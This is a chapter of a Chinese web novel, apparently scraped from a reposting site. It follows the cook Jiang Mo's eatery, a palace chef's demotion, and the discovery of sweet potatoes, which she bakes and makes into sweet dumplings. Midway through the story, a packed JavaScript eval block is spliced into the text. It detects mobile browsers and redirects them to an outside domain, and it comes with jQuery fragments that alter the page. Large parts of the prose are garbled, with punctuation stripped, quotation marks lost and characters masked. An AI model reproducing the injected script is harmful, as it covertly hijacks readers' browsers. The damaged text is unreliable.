孟舟见他动怒，便不敢再说话，心中暗想：可是小公主还是很喜欢那个女子做的饭呀。


    得是手艺多么厉害的人，才能让天天吃山珍海味的小公主喜欢上她做的饭。


    不过这些话，孟舟不敢说出口，只能顶着江苍山的怒气不断附和。


    回到御膳房，一群人围上来。


    “怎么样，小公主满意吗？”


    “江庖长手艺如此好，江家又是百年传承世家，指定没问题。”


    “说不准一会儿圣上的赏赐就过来了。”有人拍马屁。


    还有人默默站在后面等他说话，一言不发。


    江苍山脸色很差，面对这么多人的问题，轻轻甩袖子坐在椅子上。


    这看起来不太对呀。


    一群人面面相觑。


    最后把目光放在旁边的孟舟身上。


    “孟舟，这是发生什么事了？怎的你们脸色都如此难看？”


    孟舟小心翼翼看了一眼师傅的神色，才小声回答：“咱们御膳房准备的饭菜，小公主都不满意。”


    众**吃一惊：“全都不满意？”


    孟舟叹了口气。


    “小公主在民间遇见一位厨艺很好的姑娘，对这位姑娘赞不绝口，表示所有饭菜都不如那位姑娘做的。”


    “怎么可能？”有人下意识反驳，“天底下最好吃的菜都在皇宫了。”


    孟舟：“具体情况我也不知，但看小公主的神色，便是一份简单的炒饭，咱们做的都比不过人家。”


    他想着宋嘉宁那一口一个“不如江姐姐做的”，心里对这位江姑娘升起了好奇心。


    “那这可怎么办？小公主不满意，陛下不会真的来问罪吧？”


    毕竟先前就已经说了，若是小公主不满意，所有人都要问罪，尤其是江苍山首当其冲。


    也怪不得江苍山脸色如此难看了。


    “若是顾庖长在，肯定就不一样了。”另一人悄悄议论。


    旁边的人胳膊肘顶了他一下。


    “说什么呢，没看到江庖长还在呢？”


    那人撇了撇嘴。


    顾庖长和江苍山是御膳房的顶梁柱，顾家同江家一样，都是祖上传承几百年的世家，祖宗都侍候过宫廷。


    江苍山负责饭


    局顾庖长负责素局。


    若非此次顾庖长跟着太后去了行宫说不准负责小公主的就是顾庖长了哪里还会出这种岔子？


    也许大家心里都知道只是当着江苍山的面不好意思讲出来而已。


    江苍山听着周围的人窃窃私语虽听不清他们在说什么


    他不厌其烦朝众人甩甩袖子。


    “行了都走吧散开散开干什么呢？一切都等总管回来再说。”


    谁知这等人一等就等了一夜。


    总管太监第二日清晨才回来脸色十分苍白还是被人扶回来的。


    江苍山得知之后心中一个咯噔连忙前去请罪却被人拒之门外。


    伺候的小太监笑呵呵地拦住他：“我们总管现在不见人您请回吧。”


    一连数次被拒绝江苍山也没办法。


    隔日上头又下令削了他一级官职从庖长变成了副庖。


    他心里头憋屈得厉害回到家里就让孟舟去查公主在外面遇见的人和那个姓江的女子到底是怎么回事。


    这些江茉全然不知。


    她一口气做了好些点心礼盒和糖果一放到大堂售卖就被抢购一空。


    白花花的银子落入口袋她现在每天都笑得合不拢嘴晚上回到宅子里第一件事就是数银子。


    桃源居开的时间不久收入还算可观总有很多不缺钱的富贵人家时不时打赏。


    照这样下去再过几个月她就可以买下一间铺子将桃源居完完全全地放在自己手里。


    生意好了她给几个丫头都定了月银几个丫头高兴得不得了。


    江茉看她们这么开心又告诉了她们一个好消息。


    “咱们这里过年不用开门你们放几天假等过完了正月十五再开门大家都好好休息休息该吃吃该玩玩。”


    几个丫头听了过年还有年假快高兴疯了叽叽喳喳讨论能去玩的地方。


    “我听说咱们这边过完年有灯会就在咱们巷子外面那条河边上可漂亮啦到时候咱们一起去看看吧。”青柑拉着银铃的手道。


    银铃小鸡啄米地点头：“没问题我到时候让我大哥一起来。”


    她大哥


    可是从来没有逛过灯会呢平日都在村子里窝着正是好机会。


    青柑又拉住林素荷的手：“素荷你也跟着一起去吧人多热闹。”


    林素荷轻轻摇了摇头：“不行我要回家看我爹爹我家路远可能要等饭馆再开门的时候再回来。”


    她都很久没有回家了不知道爹爹现在怎么样了。


    青柑有点失望不过也没关系她还有姐姐和其他人陪着。


    江茉听了林素荷的话想到林素荷的家距离毕竟比较远思索一会儿问：“你打算何时回去？现在距离过年不过就十几日了。”


    林素荷手指搅着衣角：“听老板的老板说什么时候沐休我就什么时候回去。”


    江茉当机立断。


    “那你明日就收拾东西回去吧我先把这个月的工钱给你结了。路上赶路注意安全可以在家多呆几日。”


    江州书院也差不多要沐休了留在这指不定萧谨得了空子又来寻人。


    早几日走也好。


    林素荷眼眶发红遇见这么好的老板是她的福分连忙道：“谢谢老板。”


    林素荷第二日一早就收拾好行囊江茉亲自送她到巷口又塞给她一小包用红布裹着的银花生。


    “提前给你发福袋路上买点热乎吃食别委屈自己。”


    这可是她让鸢尾特意从钱庄换来的银花生用来塞福袋几个丫头都有。


    林素荷没想到竟然还有福袋拿。


    她推拒道：“不行不行江老板已经给过工钱了。”


    “工钱是工钱福袋是福袋除了你鸢尾她们几个也都有收下吧。”江茉语气不容拒绝。


    大过年的谁不想沾点福气呢。


    林素荷攥着银花生眼圈又红了。


    “您放心年后我一准按时回来。”她深深鞠了一躬转身踏上石板路背影很快消失在晨雾里。


    江茉望着她远去的方向叹了口气转头瞧见鸢尾和银铃正踮着脚往街口望手里还捧着刚出炉的饼。


    “看什么呢？”她走过去拍了拍两人的肩。


    鸢尾指着街角那棵老槐树下。


    “那好像是千金阁的老板。”


    话音刚落就见一个穿着藏青棉袍的中年男人


    快步走来，脸上堆着笑。


    “江老板，可算等着您了！


    来人正是千金阁的王掌柜，他搓着手说明来意。


    “眼瞅着要过年，我想订四十盒点心，给店里的伙计们当节礼。


    他可是听说了，江老板做出一套点心盒子，可受欢迎了，还有不同味道的果糖。


    哎哟这两天千金阁也忙坏了，都是各家各户夫人小姐们裁定新衣裳，他根本没空来，希望还来得及。


    不然他就得转头去瑞福楼，瑞福楼的糕点早就吃烦了。


    江茉笑着应下，“没问题，明儿您过来取便是了。


    王掌柜欸了声，又从怀里掏出一袋银子和账册。


    “江老板那款珍珠手链可是卖了不少银子，这是账，这两月的分红我顺手都给您带来了，省得江老板多跑一趟，你拿回去瞧瞧，往后的分红咱们就半年一算了。


    “劳烦掌柜的。江茉伸手接过账册和银袋。


    她忙的把这茬都给忘了。


    王掌柜人走了，留下点心的定金，也是小半袋银子。


    鸢尾暗暗咂舌，“一下要四十盒，那么多。


    “越是富贵人家越讲究这些，江茉抱着账册回去，擦了擦柜台，“咱们提前备好，就省得手忙脚乱。


    门外传来铜铃轻响，一个穿着月白锦袍的年轻公子走进来，身后跟着两个小厮。


    银铃眼尖，凑到江茉耳边小声说：“这公子不知何处来的，出手大方，昨日刚买了十盒点心走，还打赏给荔枝小半两银子。


    江茉意外。


    这个她倒是不知。


    这些打赏若是赏给丫鬟自己，她便让她们自己收着，若因菜品好吃打赏，丫头们也会主动交给她。


    年轻公子走到柜台前，声音清朗：“江老板，再要十盒点心。


    江茉捋了捋袖子，想去窗台前帮忙包上，发现小饼干没有了，又去后厨取点心，回来听见争执声。


    那公子的小厮嫌银铃包点心慢了些，说了句“乡下来的丫头就是笨手笨脚，青柑当即护着银铃回嘴：“我们老板的点心，多少人排着队等着呢，嫌慢您别处去！


    江茉端着小饼干出来时，正见那小厮要推搡青柑，她把托盘往柜台上一放，沉声道：“


    我这桃源居虽小却容不得人撒野。点心您要就拿着不要我便收起来了。”


    公子倒是明事理瞪了小厮一眼：“不得无礼。”


    又转向江茉拱手道：“家仆无状还望江老板海涵。”


    江茉淡淡点头接过银子递过点心看着他们一行人离开。


    青柑还在气头上。


    “什么人嘛有钱就了不起？”


    江茉拍了拍她的手：“别气了咱们做买卖的什么样的人没见过？”


    总要包容物种的多样性。


    傍晚打烊江茉盘着账发现今日进账比往日多了近三成。


    她笑着把铜钱倒进钱袋：“过了年能添不少东西了。”


    银铃突然指着窗外：“老板您看那不是素荷吗？素荷怎么回来了！”


    几个丫头纷纷跑过去开门。


    江茉抬头只见林素荷背着行囊站在巷口脸色苍白眼眶通红。


    她跟着迎出去：“怎么回来了？”


    林素荷一见到江茉眼泪就掉了下来。


    “江老板我……我爹病重我想预支三个月的工钱……”


    江茉心头一紧拉着她进屋：“先别急坐下慢慢说。”


    林素荷走到半路就见同村的人捎信来说她爹咳血不止已经躺了三天了大夫说至少要五六两银子的诊金才肯治。


    她把身上的银子都掏出来：“这些不够我实在没办法了……”


    江茉摸出两锭银子放在桌上：“这些你先拿着赶紧请大夫抓药。不够再来找我别耽误了病情。”


    林素荷嘴唇哆嗦着说不出话冷不丁跪下只是一个劲儿地磕头。


    “诶！别跪！”江茉扶起她“赶紧回家吧路上小心。”


    林素荷抱着银子一步三回头地走了。


    青柑有些担忧：“老板这银子……”


    “救人要紧”江茉叹了口气“让她去吧。”


    过了几日林素荷托人捎来消息说她爹已经能下床了还捎带了一小袋自家种的粮食。


    江茉打开一看


    江茉：“！！！”


    红薯出现了！


    她盯着那袋浑身带着泥土的红薯惊得差点把手


    里的账本掉在地上，赶紧把袋子往柜台里推了推，压低声音对鸢尾和银铃说：“快把门关上，咱们进后厨说。”


    鸢尾和银铃见她神色紧张，连忙照做。


    刚关上门，鸢尾就忍不住探头看那袋圆滚滚的东西。


    “老板，这是啥呀？红扑扑的，长得倒像个胖娃娃，就是坑坑洼洼的。”


    青柑也凑过来，伸手戳了戳袋子里的红薯。


    “摸着硬邦邦的，是能吃的吗？我瞧着倒像是山里的野疙瘩。”


    江茉定了定神，想起眼下确实没有人见过红薯，不由得在心里感叹林素荷的爹竟能找到。


    她拿起一个红薯，擦掉上面的泥土。


    “这叫红薯，是好东西，能填肚子，味道还甜得很。”


    “红薯？”鸢尾眨巴着眼睛，“这名儿倒新鲜。可这模样……能好吃吗？”


    “待会儿你们就知道了，我给你们弄几个。”


    江茉把红薯丢进温水里泡了片刻，用软布仔细擦去表皮的泥垢。


    红薯的表皮泛着暗红的光泽，有的地方还带着浅黄的纹路，确实不怎么好看。


    她挑了几个个头匀称的，在灶膛里留了些余火，把红薯埋进热灰里，又用小铲子把灰烬拍实，只留些许热气从缝隙里钻出来。


    “就这样？”银铃趴在灶台边，眼睛瞪得溜圆，“不用切，不用煮，埋在灰里就能吃？”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16116642|179973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这叫烤红薯，是最香的吃法。”江茉往灶膛里添了几根细柴，“得慢慢烤，让热气一点点渗进去，急不得。”


    后厨渐渐飘起一股淡淡的甜香，起初像麦芽糖融化的味道，后来又混了点醇厚，勾得人直咽口水。


    鸢尾每隔片刻就往灶膛边凑，**茉笑着推开。


    “再等会儿，现在吃着会夹生。”


    约莫过了一炷香的时间，江茉用铲子拨开灰烬，一股更浓郁的甜香猛地涌出来，带着焦脆的烟火气。


    她把烤得裂开小口的红薯扒出来，用布裹着捏了捏，感觉软乎乎的，便递给鸢尾和银铃：“小心烫，剥开皮再吃。”


    鸢尾捧着滚烫的红薯，双手来回倒着，好不容易等凉了些，轻轻一撕，焦褐的外皮就裂开了，露出里面金黄流油的瓤，热气裹着甜香直往鼻子里钻。


    她咬


    了一小口软糯的瓤在舌尖化开先是带着烟火气的焦香紧接着就是醇厚的甘甜像把蜜揉进了棉絮里比蜜多了几分清爽一点不腻人。


    “哇——！！！”


    鸢尾眼睛瞪得溜圆嘴里的红薯还没咽下去“怎么能这么甜？比蜜饯还润！”


    银铃也学着她的样子剥开皮一口咬下去。


    红薯的瓤带着点沙沙的质感像豆沙甜丝丝的味道顺着喉咙滑下去连带着心口都暖烘烘的。


    她从前吃过最甜的东西是红糖


    红薯的甜里裹着股子扎实的香让人吃了还想再吃。


    “老板这红薯也太神了！”鸢尾又咬了一大口嘴角沾了点金黄的瓤“又甜又软吃着一点不费劲肚子里还暖暖的比喝三碗热粥都舒服！”


    江茉自己也剥了一个咬下去时焦脆的外皮带着点韧劲里面的瓤甜得恰到好处带着自然的清香。


    她笑着看几个丫头吃得满脸满足心里忽然亮堂起来。


    这红薯耐旱好长产量又高若是能推广开来不知能救多少挨饿的人。


    鸢尾吃得最快转眼就把一个红薯吃完了舔了舔嘴角拉着江茉的袖子问：“姑娘这红薯还有多少冬天揣一个在怀里又暖手又顶饿多好啊！”


    银铃也点头：“就是就是要是店里能做红薯点心肯定好多人买！”


    江茉看着她们期待的眼神心里有了个主意。


    她把剩下的红薯小心收好笑着说：“这红薯是稀罕物咱们先留着种。等明年长出新的来再给你们做红薯干、红薯饼让你们吃个够。”


    鸢尾一听还有红薯干、红薯饼拉着江茉的胳膊晃了晃。


    “姑娘咱们现在就试试嘛！反正今日的点心都卖得差不多了后厨正好空着。”


    银铃跟着点头指尖还沾着点红薯瓤。


    江茉被她们盼切的眼神逗笑了手指点了点鸢尾的额头。


    “就你嘴馋。罢了今日就教你们做道红薯圆子甜糯软滑配着热茶吃正好。”


    两个丫头顿时欢呼起来。


    彭师傅也休年假了江茉指使俩丫头一个去舀糯米粉一个忙着烧热水。


    江茉挑了两个最饱满的红薯，刀刃划过，露出里面橙黄的果肉，带着刚烤过的余温，甜香丝丝缕缕往外冒。


    她把红薯放进蒸笼，盖上盖子时特意留了道缝。


    先蒸得烂熟，做出来的圆子才够绵密。


    等红薯蒸得能用筷子轻轻戳透，江茉把它们倒进石臼里，用木杵细细碾着。


    橙黄的薯泥渐渐变得细腻，热气裹着甜香腾起来，鸢尾忍不住凑过去深吸一口气。


    “比刚烤的更甜了！”


    江茉笑着往薯泥里拌了勺糖，“再加点糖提味，凉透了才能和糯米粉揉在一起。”


    趁着红薯泥放凉的工夫，银铃已经把蜜调好了，琥珀色的蜜里浮着细碎的桂花，光闻着就醉人心脾。


    江茉取过放凉的薯泥，和糯米粉按三比一的比例掺在一起，又一点点加温水揉面。


    鸢尾学着她的样子想帮忙，谁知手刚碰到面团就被黏住了，急得直跺脚。


    “怎么这么黏呀？”


    “得顺着一个方向揉，让薯泥和米粉抱成团。”


    江茉指尖翻动间，原本松散的粉团渐渐变得光滑柔韧，“你看，这样就不黏手了。”


    她揪下一小块面团，在掌心搓成鸽子蛋大小的圆子，鸢尾也跟着学，只是搓出来的圆子不是扁了就是歪了，跟江茉做的那些圆滚滚的模样比起来，倒像群憨态可掬的小元宝。


    水烧开后，江茉把圆子一个个放进锅里，随着水温升高，渐渐浮了起来，表皮变得半透明，隐约能瞧见里面橙黄的薯泥。


    “这就熟了。”江茉用漏勺把圆子捞进凉水盆里浸了浸，“过一遍凉水，吃着更Q弹。”


    最后一步是浇蜜。


    江茉把圆子盛进白瓷碗，淋上桂花蜜，又撒了把碾碎的炒芝麻。


    银铃早就端着碗等在一旁，刚接过就迫不及待舀了一个放进嘴里，烫得直吐舌头，舍不得吐出来。


    圆子在舌尖轻轻一抿就化开了，糯米的软糯裹着桂花的清芳，红薯的绵甜涌上来，比烤红薯多了几分水润，又比寻常糯米圆子多了层醇厚的香。


    芝麻的香脆藏在甜糯里，像突然咬到的小惊喜，让甜味更有层次。


    “好软！”鸢尾含着圆子，说话都含混不清，“舌头一舔就化了，甜丝丝的一点不噎人。”


    银铃小口小口地吃着，圆子滑进喉咙带着桂花蜜的润，嗓子眼里都甜津津的。


    江茉看着她们捧着碗吃得眉眼弯弯，自己也舀了一个。


    糯米的滑、红薯的绵、桂花的香在嘴里交织，暖乎乎的甜从舌尖一直淌到心里。


    红薯这种东西绝对不能错过，有了它淀粉也可以安排起来了，还能做成粉条和粉皮，一定程度上能代替土豆。


    江茉看着剩下的红薯陷入沉思。


    所以林素荷的爹爹是从哪搞到红薯的？


    还能不能有更多？


    这点根本不够啊。


    如果能一直持续供应，她就不用想法子去种红薯了，直接做美食不好吗？


    思来想去，她决定给林素荷写一封信。


    这封信当天快马加鞭飞速直奔林家，送到林素荷手里。


    林素荷接过信一看。


    工工整整的簪花小楷非常养眼。


    但……她看不懂啊。